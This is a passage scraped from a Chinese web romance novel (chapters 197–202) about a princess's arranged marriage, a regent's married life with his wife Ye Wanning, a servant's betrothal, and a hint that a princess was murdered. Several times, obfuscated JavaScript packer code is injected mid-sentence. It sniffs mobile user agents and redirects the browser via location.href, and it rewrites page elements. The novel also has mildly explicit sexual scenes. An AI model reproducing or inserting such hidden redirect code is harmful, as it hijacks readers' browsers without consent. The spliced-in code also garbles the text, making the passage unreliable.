“儿臣明白。”太子进门后,看妹妹坐在地上,“没规矩,你现在是公主,就算是哭,也不能坐在地上。” “那我不要当公主好了,你们让我走,我自个儿去闯天下!”羲和公主说着气话,“你也是来劝我的吧,我肯定不嫁,要我嫁给那么丑的两个人,我宁愿终身不嫁!” “你知道外边有多乱吗?羲和,你从小受父皇和母后的宠爱,不知民间百姓过得多艰难。他们连一日两顿都无法维持,因为战乱不断,只能卖儿卖女,还无法活下去。父皇为了筹够银钱,头发白了一片,你看到他们也此付出的心血吗?” 太子叹了口气,语重心长道,“如果不是没有办法,父皇母后何尝不想你自己选个如意佳婿?他们护你长大,给了你衣食无忧的日子,你既然享受了公主的尊荣,也该为公主的身份,付出一些责任。羲和,人生在世,没有谁能一直恣意过活,你已经很幸福了。” 殿内静了下来,羲和公主是骄纵了一点,但她不是完全不懂事的人。 过了会,太子加重咬字,“你多想想父皇和母后,还有那些吃不饱穿不暖的百姓,再说不嫁吧。” 第197章 本性良善 为国为民的情怀? 说实话,羲和公主一直都是个想过好每一天的小姑娘,她就没那么大的想法。 每天吃饱喝足,做自己想做的事,她就开心了。 见太子哥哥走了后,羲和公主抱着膝盖抽咽,“我又不是宁安,她才多算计。我就是个普通脑袋,干嘛逼着我做这种事? 边上的嬷嬷看得心疼,但这会谁也不敢劝羲和公主和皇上皇后作对,“其实嫁到皇商家里也挺好,至少吃喝不愁。而且没有当官的人,更不用管朝堂的事。您为国牺牲,史官都得写您的好。 “谁稀罕啊,我又不是那些看重名声的男人,他们想名垂青史,我又没这个想法。嬷嬷你也帮他们说话,我不要搭理你了。说着,羲和公主拍拍裙摆,她要去找叶婉宁毕竟她现在只有叶婉宁这个好朋友。 这次出宫,她不许任何人跟着,马车到了谢府门口,便让他们回去,自个儿进了谢府。 还没进门,看到云芝,她先哭了起来,“你家夫人呢,快带我去,我好难受。 云芝瞧见公主这样,以为出了大事,忙带着去见主子。 叶婉宁看羲和公主哭着进来,就知道是为了婚事而来,“殿下若是要我帮你去当说客,我怕是没这个本事。 “没让进宫,我就是觉得委屈。以前我又不像其他人,会给家里闯祸什么。就是宁安,她都谋杀未婚夫,只有我,老实人一个,凭什么这种时候就挑我。羲和公主拉着叶婉宁,“我不要当这个公主了,以后我跟着你住,什么名头都不要。皇兄说外边危险,那我也不去游历天下,我就在你这里,你会收留我的吧? 叶婉宁苦笑下,“会是会,但皇后娘娘他们,怎么可能不让你当公主? “我反正不回去,你是没看到那两个男的,我毫不夸张,一个胖成猪,还一个蹦跶起来都没我高,要你,你会嫁吗?羲和公主说着比划了几下。 叶婉宁是没见过羲和公主说的相看对象,但羲和公主要住她这里,她只好留下人。不然羲和公主一生气,跑出去有个什么事,宫里责怪起来,吃罪不起。 等谢泊淮回来时,看到羲和公主也在,瞬间皱眉。得知羲和公主今晚要和叶婉宁睡,当即道,“谢府太简陋,公主金枝玉叶,还是回宫去的好。皇后娘娘也是为了您好,您和她置气,别让我们为难。 “有什么为难的,是我非要来,又不是你们留我。 叶婉宁也想安抚下羲和公主,提议道,“不然你今儿去睡书房,我陪公主几天。” 一听这话,谢泊淮脸黑如炭。但没等他反对,叶婉宁已经让云芝去给他收拾书房。 羲和公主看谢泊淮吃瘪,才有些后怕,但她今日有气,又不想那么多了。 夜里羲和公主和叶婉宁说了好多话,叶婉宁这段日子也累了,很快睡着, “婉宁?”羲和公主拍了拍叶婉宁,见叶婉宁睡了,这才睡觉。 次日谢泊淮上朝时,便神色不悦地找到太子,让他把羲和公主带回去。 “她正在气头上,让她缓一缓。”太子道。 谢泊淮心想那哪里行,“公主是金枝玉叶,皇后和皇上让她相看的事,早就传了出去。如果让人知道她心有不满,对她名声也不好。到时候相看的皇商,只会觉得公主看不上他们家。微臣劝太子,还是早些让公主做决定。嫁还是不嫁,早处理了比较好。” 要不是羲和公主占了他的床,他才不和太子说这些。 这话在太子听来,就是谢泊淮带了威胁,眉心微微动了动,“你说得对,那我这会去找她一趟。” 谢泊淮这才满意了。 太子到了谢府,羲和公主不肯见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170546|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他隔着门道,“你就和我去一个地方,若是去了还不嫁,我会劝父皇另想办法。” “当真?”羲和公主推开门。 “我什么时候骗过你?”太子看着妹妹,多少有些郁闷,若是有选择,他也不会逼着妹妹嫁给不喜欢的人。 太子把羲和公主带走了,叶婉宁不知道他们去了哪里,只是第二天,皇上就下了赐婚的旨意,让羲和公主下嫁到卢家。 得知这个消息时,叶婉宁不由替羲和公主担忧,等谢泊淮回来,她立马问怎么回事,“昨日太子带公主去哪了?” “去了城外流民的聚集地,太子作为兄长,其实最了解羲和公主。他知道羲和公主有些任性,骨子里却良善。那些流民,大多是因为战乱而流离失所,连一个住的地方都没有,只能抢树下休息。而且这只是小部分,更别说当地是什么情况。”谢泊淮道。 叶婉宁感觉一口气下不去,“所以公主就答应了?” “不知道是当场答应,还是后来同意。但你放心,羲和公主那个脾气,如果她自己不点头,皇后和皇上也奈何不了她。”谢泊淮并不觉得卢家很差,他有打听过,至少卢家那位哥儿,人品端正,比羲和公主前夫好多了,就是胖了一点。 叶婉宁想叹气,又叹不出来,想了想,人不就是这样,有太多的身不由己。 还好她现在过得不错,日子一天天地变好,她知足了。 “还有一个事,皇上想让乐哥儿进宫当伴读,被我以乐哥儿太小婉拒了。不过我看皇上的心思,最迟明年也得送乐哥儿进宫。”谢泊淮说着,眯起了眼睛。 在外人看来,乐哥儿并不是谢泊淮亲生的,但谢泊淮和叶婉宁现在没有其他孩子,皇上只能让乐哥儿进宫去。 他们觉得谢泊淮看重叶婉宁,应该会爱屋及乌,总比让乐哥儿在谢府的好。 第198章 夜夜不停 能被选中进宫当伴读,对于一般人家来说,是无比荣耀的事。 说明家中有人得皇上器重。 这是一种嘉奖,就算是谢泊淮,也只能以乐哥儿还小推脱,真过个一年两年,乐哥儿还是得进宫去。 “之前乐哥儿在小县城,我没教他世家那些东西,如今到了京城,咱们又是这么个处境,还是要多教他一些东西。叶婉宁道。 “嗯,他是男孩子,我会好好教他。谢泊淮对自己,还是有信心。 叶婉宁看了谢泊淮一眼,却没那么放心,“论起人品和规矩,其实我大哥哥是最好的,他这人一板一眼,但孩子在他手中,还是放心的。正好大哥哥家的哥儿和乐哥儿差不多大,我看余先生带一个是带,不如让大哥哥家孩子也一起来读书,正好和乐哥儿做个伴。休沐时,可以让乐哥儿去叶家,他也喜欢叶家的热闹。 “婉宁是怕我把乐哥儿教坏了?谢泊淮说着把人抱到腿上,一只手搂着叶婉宁的腰,另一只手按着叶婉宁的后脑勺,让她垂下头看自己。 他仰头时,顺势亲了过去。 一吻绵长,谢泊淮才说话,“我在你眼里,是什么豺狼虎豹? “我没这个意思。 “那你什么意思?婉宁,你说什么意思?他哄着人,让叶婉宁亲亲他。 叶婉宁没动,他就直直地看着叶婉宁,“你不亲亲我,我就不松开,待会有人进来,我也不松开。 他说到做到。 叶婉宁已经体验过谢泊淮的厚脸皮,只好俯身去亲。谢泊淮的唇也很软,只是谢泊淮这人永远不是简单地亲亲,很快就撬开她的薄唇。 “谢……谢子谦! 再恼怒的声音,再谢泊淮这会看来那都是撒娇。 一番云雨过后,谢泊淮终是同意了叶婉宁的提议,叶婉宁累得没力气,翻过身不去看谢泊淮。 “既然你同意了,明日我就带乐哥儿回叶家。叶婉宁有好几日没回叶家,她也想祖母了。 谢泊淮没有意见,次日他出门前,特意交代折竹陪着去。 叶婉宁没让折竹跟着,“你跟大人说一声,我许久没回娘家,要在娘家小住两日,让他不用操心我的事。 折竹没想太多,“那也还是让小的送您到叶家,这样才能放心。 “也行。 因为是突然回去,叶婉宁瞧见两位嫂嫂时,她们都愣了下,忙问是不是有什么事。 叶婉宁说没事,“就是想着,家里请了个先生,乐 哥儿一人读书寂寞,想来问问大嫂嫂,愿不愿意让萱姐儿和思霖一块去读书。思伦小了点,应该还没认字吧?” 思伦是二房姜姒的儿子,今年才两岁,她笑着说是,“连走路都不利索,他爹抱着学算数,倒是会数数。想来以后也是个爱拨弄算盘的,还是让萱姐儿他们先去读书。” 林氏是乐意的,谢泊淮请的先生肯定不会差,“思霖是该读书了,可萱姐儿也要去吗?” 林氏和叶明德也会教萱姐儿读书,但萱姐儿不用科举,更不用入朝为官,林氏没想过让萱姐儿去学堂,能识文断字便好。 “思霖和乐哥儿年纪小,先生教的都是一些启蒙的知识,让萱姐儿听听也好。姑娘家的多读一点书,才能见识更广。如今大哥哥前程不错,萱姐儿也得跟上。”叶婉宁道。 林氏明白了,大姑子好意提携女儿,她是乐意的,“那我替萱姐儿和思霖谢过你,正好三个孩子可以做个伴,以后思伦大了,又能多一个。” 叶婉宁说今日要住下,林氏立马让人去收拾院子。 姜姒现在分家了,不住这边,今日是来给老夫人请安,听叶婉宁这么说,迟疑道,“可是和姑爷吵架了?” “没有吵架,我就是想你们了。正好最近谢泊淮太忙,我带着乐哥儿回来住两天。”叶婉宁道。 听叶婉宁喊谢泊淮名字,林氏和姜姒对视一眼,听得出叶婉宁和谢泊淮欢喜拉近了。 林氏抿唇笑,“说起来,你和姑爷成婚有一段日子了,最好快点添丁,家里孩子多了,你们感情也会更好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170547|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是啊,大嫂说得对,你和姑爷都年轻,多努力努力。”姜姒也是这么想。 叶婉宁心想谢泊淮够努力了,夜夜都不停,就算是村里的老黄牛,都没他勤快。 但这样的话,她不能和嫂子们说,心想分开两日,自己歇一歇,也让谢泊淮休息一下。 不曾想,傍晚谢泊淮来了,还带着一堆东西,说他也想叶家人了,要来一块住。 叶明德想的是谢家就在京城,有必要夫妻两都回来吗? 他看看妹妹,又看看谢泊淮,见两人并没有摆脸色,偷偷问了林氏,得知妹妹不是吵架回来的,这才没多问。 乐哥儿得知以后可以和表哥表姐一块读书,开心的同时,又道,“那你们要认真点,余先生可凶了,他会打我手板心。” 萱姐儿已经认字了,平常女频教他认字,有时候也会打她手板心,听到这话没什么反应。思霖就怕了,哭着说不想去。 家里几个孩子凑在一块,热闹得很,叶婉宁则是小声问谢泊淮,“你不是很忙吗,干嘛跟过来?” “我想大哥他们了。”谢泊淮一本正经道。 叶婉宁才不信,但也没办法,既然谢泊淮回来,只能一块住两日。 夜里睡觉前,叶婉宁特别强调这里是叶家,不能让叶家下人看了笑话。 “我又不是毛毛躁躁的小伙了,你太看不起我。”谢泊淮哼了哼,躺下后搂着叶婉宁,“其实我们都搬过来也行,一大家子住着,热热闹闹。” “你想得美,你要是住过来,我大哥大嫂有操不完的心。”叶婉宁说着叹了口气,“我都看到大哥有白发了,我想劝他别那么费心思,但想到他是大哥,叶家一大家子都得倚仗他,又知道不可能不操心。” “大哥确实不如二哥洒脱,不过他够勤恳,我先跟你说个好消息,大哥要升官了。不过他现在还不知道,过几日就会有旨意下来。”谢泊淮说着蹭了蹭叶婉宁的脖颈。 收到暗示的叶婉宁,赶忙推开人,“谢泊淮,今儿我说了不行就不行,你得让我歇歇。” 第199章 “快活吗?” “那你可想岔了我就是舍不得你又不是想着那个事。”谢泊淮咬住叶婉宁的耳垂濡湿的舌尖让叶婉宁打了个寒颤便说要睡了。 黑暗中叶婉宁被谢泊淮搂的紧紧的她已经习惯了和谢泊淮相拥而眠很快入睡。 只是次日还迷迷糊糊间叶婉宁突然感受到一股温热等她睁眼时看到被褥下鼓起一个大大的包谢泊淮这厮竟然钻到了被褥下。 “谢泊淮你干什么?”叶婉宁推不开谢泊淮 谢泊淮在被褥下没回话自顾自地开始从脚踝到…… 这时天还蒙蒙亮但往常这个时候 叶婉宁更急了“该起来了。” “今日不去上朝了。” “不去怎么能……啊……不去?” “我是摄政王我想去就去不去就不去没什么好解释的。我要是太安分守己皇上才不放心我。他就想看我名声不好。”谢泊淮扒开草丛“婉宁你别喊喊了他们就全部听到了。” 叶婉宁从来没经历过这种事咬着牙骂谢泊淮无耻但谢泊淮才不在意这种话他就是要取悦喜欢的人。 “谢泊淮真的求你了不要……” 屋内春光迤逦门外的云芝对此见怪不怪了倒是叶明德派了人过来问谢泊淮何时起来好一起去上朝。 “劳烦和大爷说一声我家大人今日不舒服就不去上朝了。”云芝刚说完对方问要不要请大夫她赶忙说不要“也不是什么大事你去和大爷回话他会知道的。” 小厮没能听明白但云芝都这么说了只能这样去回话。 叶明德已经穿戴齐整听谢泊淮说不去上朝当即沉下脸来小声和林氏道“这个谢泊淮还是那么目无规矩。” “会不会是真的不舒服要不我待会请个大夫过去看看?”林氏怕谢泊淮是真的病了。 “就他昨日那个精气神你觉得他会病了吗?也不知道他一天天干什么从淮州回来后三五天就要病一次不去上朝。你是不知道朝堂上说他的人不少他却越来越没规矩不说了我该上朝去了。你见到了婉宁让她劝劝谢泊淮我们为人臣子的自该勤勤恳恳地为国为民。谢泊淮本身名声就差更该让皇上看到他的诚意。”叶明德飞快说完出门去了。 林氏想到谢泊淮面色红润确实不像病了只好带着疑惑等再见到叶婉宁看叶婉宁唇瓣红肿当即明白怎么回事没人时看 着叶婉宁想说又说不出口了。 “大嫂有话说?” “其实……哎呀,婉宁啊,其实你们夫妻恩爱是好事,但姑爷好歹是摄政王。他一人之下,万人之上的,那么多人盯着,时不时就不去上朝,多不好。”林氏都不敢去看叶婉宁,年轻人就是体力好,“你说是不是?” 叶婉宁这会囧得想找个地缝钻进去,她就说了,在叶家不行这样。本想躲开两年,谁知道谢泊淮又黏过来。 今早谢泊淮是没有脱他自己衣裳,但他…… 想到清早的画面,叶婉宁脸色通红,“大嫂,我知道的。” “知道就行,我是盼着你们早点有个孩子,但是你们年轻,也得悠着点。”林氏说着,喊了云芝进来,“我让厨房炖了补汤,你待会拿去给姑爷他们喝。”这样造,身子得虚了,得多补补。 叶婉宁是真没脸见人了,回去时,看到坐在软榻上的谢泊淮,冲过去锤了好几拳,“都说了这里是叶家,不是谢府,你……你怎么就非要呢?” “我想让你快活点嘛。”谢泊淮作出委屈样子,“婉宁,咱们就一辈子,干嘛在意那些虚名,恣意一点不好吗?想做什么就去做,不想做就在家中躺着,天塌下来有我撑着,谁也不会伤到你。” “话是这么说,可哪有人……” “别人是别人,我不在意别人的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170548|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只想每时每刻和你在一起。”谢泊淮拉着叶婉宁的手,轻声哄道,“你若是怕叶家人说你,那你跟我回去,咱们关起门来,爱怎么样就怎么样。再说了,今早那会,你不快活吗?” “我……我懒得与你说!”叶婉宁推了推谢泊淮,听到院子里传来孩子们的玩笑声,赶紧出去了。 她是不多住了,次日就带着孩子回家去,不然日子久了,大嫂他们不懂要听到多少事。 她刚归家,羲和公主来了,拉着她要出门。 “急匆匆的,殿下要带我去哪?” “你跟我一块去见卢成,我不想自己见他。”羲和公主丧着脸。 今日卢家递了帖子,邀羲和公主上门做客,为的是想多培养两个人感情。 叶婉宁觉得不妥,“既然是去卢家,我跟着你去不合规矩,要是在外边,那还好一点。” “那就让他在外边见我们。”说着,羲和公主就让人去给卢家带话,她拉着叶婉宁去了樊楼。 刚坐下,羲和公主开始吐苦水,“我是真的没那么大的胸襟,但我看到那些百姓,他们过得那么苦。皇兄说只要我点头,他们就能活下去,婉宁你知道么,我看到两个四五岁的小姑娘,在和野狗抢吃的,还一个男人,把十岁女儿卖给老男人,仅仅卖了两斗米,我是真的看不下去,我……” 叶婉宁抱住了羲和公主,“殿下,别说了,我知道的。我们每个人,都有自己的不容易。您已经做了选择,我们向前看。谢泊淮和我说,卢成为人正派,从品行上来说,他不差。” “可……可我也想嫁个俊朗一点的嘛。”羲和公主想到卢成那个胖子,心里就难受,“你家谢泊淮多俊啊,满京城都没有比他更好看的男人。呜呜婉宁,我心里苦,皇兄为何要逼我?” 叶婉宁答不上来,而这时,有宫女进来传话,说卢家公子到了。 第200章 肤浅 叶婉宁忙替羲和公主擦了擦眼角,“您是公主,既然应了下来,那就顺势而为,往前看。日子都是自个儿过的,长得矮的不会变高,胖的却可以变瘦。殿下,您是公主,你也不愿被人看了笑话吧? “当然!羲和公主当即坐直了,让人把卢成带进来。 卢成进来时,同时还有一群樊楼的伙计,他们端着樊楼的各色美食。 叶婉宁抬头看去,见卢成白白胖胖,其实五官还是端正,就是羲和公主不太满意。 卢成看了眼羲和公主,就肉眼可见地红了脸,“不知殿下喜欢什么,我就让掌柜的招牌都来一样,您看看,最喜欢哪个? 羲和公主不饿,这会还得端着公主的仪态,“你点那么多做什么,我又不是猪,你知道城外有多少人吃不饱吗? “我……卢成没反应过来。 还是叶婉宁打圆场,“殿下喜欢吃烧鸡和山芋,这两样留下,卢公子也看着挑两样。殿下心善,剩下的送去给流民们吃。 “好好好,我懂了。卢成转身就吩咐,“让店小二再准备十份一样的饭菜,全送去城外。 十份? 那得多少银两? 叶婉宁心想干皇商的就是不一样,花钱起来眉头都不眨。 见两人一个不想说话,一个紧张不懂说啥,叶婉宁心中叹气。她就不该来,多她一个尴尬。 “殿下,我去方便一下,你们先聊聊。叶婉宁想了想,还是先走了。 羲和公主抬头看来,叶婉宁轻轻拍了下羲和公主的肩头,“殿下不是有话要和卢公子说? 这是不给羲和公主离开的机会。 羲和公主见叶婉宁抛下她,小嘴鼓着。 这时卢成才敢试着开口,“殿下,烧鸡再不吃就凉了。 “吃吃吃,你当我是你啊!羲和公主脱口而出,见卢成脸僵住,意识到自己说得太过分了,道歉的话又拉不下脸来,干脆问,“你与我说真心话,你是自个儿想娶我,还是被家里逼着。 “我…… “我看你犹犹豫豫,想来是被迫的吧? 卢成额头出了汗珠,“也不是。 “那是自愿的?你看上我啥了? “殿下漂亮。 “啥? “我说……殿下好……好看。 羲和公主知道自己容貌只能算清秀,最多加个可爱,连母后都说她圆润有福气,从来没说过她漂亮。 第一次听卢成夸自己,还 是夸容貌,羲和公主撇撇嘴,有些没控制住唇角,“你真肤浅!” 说完,羲和公主夹了块鸡腿,她嫌麻烦,直接用手抓着吃,反正她没那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170549|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意卢成的想法。 “殿下,要喝点酸梅汤吗?”卢成最懂吃的,“烧鸡油腻,配点酸酸甜甜的酸梅汤,很是开胃。” “喝什么酸梅汤,来杨梅酒吧,别说你不会喝酒啊?”羲和公主豁出去了,多喝两杯,说不定能看卢成顺眼一点。 卢成看羲和公主毫不做作,反而笑了起来,让人上了杨梅酒,“殿下有权,我有钱,这两样都有了,我肤浅一点也是应该的。” “啥?你说什么?” “殿下刚刚不是说我肤浅吗?” “哦,你怎么反应那么迟,我都说了好一会儿了。我嘛,是有点美貌,但是你……”羲和公主看了看卢成,罢了,她不说伤人的话了,胖就胖吧,大不了不和他同房。 “殿下喜欢瘦的?”卢成放下了筷子。 羲和公主大方承认了,“谁不喜欢美少年?你肤浅,我也肤浅。这不是很正常吗?” “也是,这是人之常情。”卢成没有恼怒,而是看着眼前的食物开始思考。 门外的叶婉宁,听里面谈得还算愉快,交代了两句,便先回去了。 “卢公子除了胖点,倒也还好。”云芝夸了句。 “皮相可以锦上添花,最重要还是人品。”叶婉宁道。 二人回了谢府,正巧司砚在等着,说想让叶婉宁帮忙去提亲。 第201章 去提亲 “吴家那我打听过了,确实是普通人家。不过你是大人身边最得力的,提亲前,我想见见吴姑娘,你觉得呢?”这是表明重视,也是让吴家人知道,谢府看重司砚,连带着也会关注吴家。 司砚自然愿意,欣喜道,“麻烦夫人了。” “不麻烦,你们哥几个和大人出生入死,看你们成家立业,大人和我都很高兴。那我这就让云芝去送帖子,至于提亲用的东西,让折竹和云芝一起帮你准备,他们最稳妥。”叶婉宁也高兴,司砚要成婚,是府里的大喜事。 她亲自写了帖子,让云芝送去吴家。 吴家那自然受宠若惊,当即答应了明儿上门来做客,叶婉宁让人提前去樊楼定吃的。傍晚谢泊淮回来,她说了这个事。 叶婉宁:“我的意思是,司砚几个都是你的亲信。对待身边人,得大方一点。不如我们给他们赁下宅院,就近安排,他们可以过小夫妻日子,也不影响往后当值。” 谢泊淮说已经买过了,“离开谢家老宅后,我就买了。” 他是想着自己要是死了,司砚几个若是逃过一劫,还有份产业,算对得起他们。 现在用来给他们成家,便是最好。 叶婉宁这才想到,成婚后,谢泊淮给她一些房契,当时没多看,现在才知道是谢泊淮给司砚他们准备的。 次日叶婉宁用过早饭后,门房那就来了人,说吴家母女来了。 吴家门户小,但也有些家底,母女俩见谢府庭园不似想的奢华,加上得知谢泊淮去上朝了,才稍微松口气。 带路的是春喜,看出两人的紧张,柔声道,“我们家夫人最是和善好说话,早就想见见吴姑娘,今日辛苦你们跑一趟了。” “不辛苦,我们早就该来拜访。”来之前,李氏也打听过谢夫人,听说门第也不高,但再怎么样,也是官宦人家的女儿。 她心里还是带着忐忑。 这次和谢府的人联姻,李氏一开始就很纠结,旁人都说谢大人凶神恶煞,很是不好惹。而且新帝登基,若是新帝不看重谢泊淮,指不定谢家会倒霉。 但自家老爷说了,他们家本来可以把生意做大,就因为没有人护着,一直被同行打压,吴老爷甚至在酒局上被人泼酒。 家里被欺压那么多年,好不容易等来这么个机会,吴老爷就想扬眉吐气,好好把握住。 就算日后谢家有个什么,他也认了,毕竟现在得了人家的好。 李氏心思这么一过,带着女儿进了屋子,刚抬眼,就看到仙女一样的人 ,“见……见过夫人。” “不必多礼,你是我的客人,快快落座。这是吴姑娘吧,长得真标致,云芝快去上茶,还有点心那些都拿来。”叶婉宁看了吴姑娘一眼,拉着李氏一块坐下。 吴珊珊被夸得红了脸,心想谢夫人才是真的大美人,她就没见过那么好看的妇人,成了亲、生了孩子,肌肤还嫩得掐出水来。一时间,不由看呆了,还是她母亲提醒,才行礼坐下。 “司砚回来和我好一阵夸,说吴家人都好,今日瞧着,确实很好。吴姑娘,你别紧张,到了自己就和自己家一样,喜欢吃什么自己拿。”叶婉宁道。 吴珊珊看向她母亲,见母亲微微摇头,坐着没动,按着母亲教的答,“今日见了夫人,是我长了见识,天底下还有那么貌美的人。” “皮相只是一时的,你青春靓丽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170550|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是很美的。平日里,吴姑娘会帮家里做生意吗?”叶婉宁问。 吴珊珊下意识回了个“会”,可想到母亲说大户人家不喜欢女人抛头露面,又赶忙摇头,“家里生意有父亲和兄长,不用我帮忙。” “其实能在自家铺子帮帮忙,也是好事。咱们女子,若是能说会道,有个一技之长,不管什么时候,都能混口饭吃。如果可以,我也想入市井,支个摊,过普通日子。”叶婉宁说的是真心话,但人各有命,她注定做不了市井平民。 李氏怕女儿再说错话,接着话头道,“夫人是人中龙凤,哪里能和我们比。” 叶婉宁浅浅笑着,她已经试出吴家母女性格,便聊点日常的话。 中午留了两个人吃饭,叶婉宁让折竹亲自送人回去,并给吴家准备了礼物。 马车里,吴珊珊很不安,“母亲,您说谢夫人会喜欢我吗?” “她是做主子的,又不是做母亲。今儿只是让我们认个门,表明她和谢大人对司砚的重视。您看她又派马车,还送礼物,想来是同意了这门婚事。”李氏分析道。 “那太好了!”吴珊珊忍不住地高兴。 “你个丫头,都还没订婚,就迫不及待了?”李氏调侃道。 吴珊珊搂着母亲,嘿嘿笑着,“您和父亲不都是说了么,司砚是个有脑子的,指不定以后能给我挣诰命呢。” “诰命这东西,也就你父亲白日做梦。我不求你们多厉害,只要平平安安,能挺直腰板做人,不要再被人欺负就行。”李氏说着叹了口气,做平头百姓太难了,大家都是为了一口吃的,但人各有命。 另一边,叶婉宁让人去找媒婆,等算好日子,就让谢泊淮和媒婆去提亲。 第202章 见到谢令娴 司砚的婚事很顺利,下聘,定日子,婚期定在了中秋后,给两边一些时间准备。 姚媒婆拿了谢家给的封包,高兴得要继续给折竹两个相看,折竹却说不用,青山更是嫌麻烦。气得姚媒婆私底下吐槽,不知道这两人哪里有问题。 谢泊淮说这场婚事要大办,他就要让人知道,他谢泊淮还是说一不二的权臣。为了这事,叶婉宁连着忙活了大半个月,才准备得差不多。 这日两位嫂嫂约着叶婉宁去上香,林氏最近总做梦,得知城外的白云寺很灵,特意做了东,等上香完,再去她的庄子玩一日。 到了庙里,林氏虔诚祈愿,姜姒也有自己的心事,叶婉宁拜完佛出来,跟着小尼姑去寺院后休息。 只是她没想到,会见到谢令娴。 谢令娴做了尼姑打扮,她看到叶婉宁,轻轻抬起眉头,“叶婉宁,你应该想不到,会和我再见面吧?” “你真是好本事,皇上让你带发修行,你却还有本事出来。”叶婉宁是真没想到,能再见到谢令娴。而且谢令娴特意引她过来,怕是大嫂会来白云寺,也是因为谢令娴的手笔。 “我能有什么本事,我如今什么都没了,只剩下一副皮囊,还由不得我自己。”谢令娴深吸一口气,“我不像你,出身一般,靠着容貌有了今天的好日子。叶婉宁啊叶婉宁,我真是嫉妒你,我明明什么都不比你差,为何你能过更好?” 在叶婉宁戒备地看着谢令娴时,谢令娴突然笑了起来,“你别担心,我不是来害你的,我来和你做一笔交易。这笔交易对你来说非常容易,也对你很重要。” 叶婉宁想不到自己和谢令娴会有什么联系,“你我之间,好像没什么关联?” “怎么会呢,虽然谢泊淮和谢家断亲,但说到底,他还是我的三叔,他还是姓谢。而且我今天要说的,是关于隆玉公主的死。叶婉宁,隆玉公主对你那么好,你怎么能做到她被人害了,你却和没事人一样?”谢令娴道。 “你说什么?义母是被人害的?”叶婉宁眉头紧皱,冲向谢令娴,“你说清楚,到底怎么回事?” 看叶婉宁着急,谢令娴打量着她,“你真不知道?” 叶婉宁瞪着谢令娴。 “看来是真不知道。也对,你沉浸在自己的幸福日子里,哪里会管曾经义母的好。我真替隆玉公主不值得。”谢令娴道。 叶婉宁:“你莫不是在骗我?” 义母出事的时候,连江嬷嬷都说是意外,她才没有多想。现在谢令娴找过来,谁知道是不是 假的。 “我骗你做什么?我还指望你和谢泊淮救我于苦海之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姑娘,可是出了什么事?”江嬷嬷故作镇定。 “嬷嬷,我都知道了。”叶婉宁说话时,想到义母生前对她的教诲,告诉她人生很短,要放开手来做自己,眼泪不自觉地从眼角滑落,“为何连……连你都不和我说?” 被叶婉宁这么一问,江嬷嬷便知道怎么回事,拉着叶婉宁坐下,又去查看了门窗,确认门口是云芝守着,才回来道,“谁与您说的这个事?是谢大人?” 问完,江嬷嬷又摇头,应该不是谢泊淮。以谢泊淮的性格,既然答应了公主,就不会再反悔。 “谢泊淮也知道?”叶婉宁皱紧眉头,她从没听谢泊淮说过,“他知道义母的死有问题,为何不与我说?” 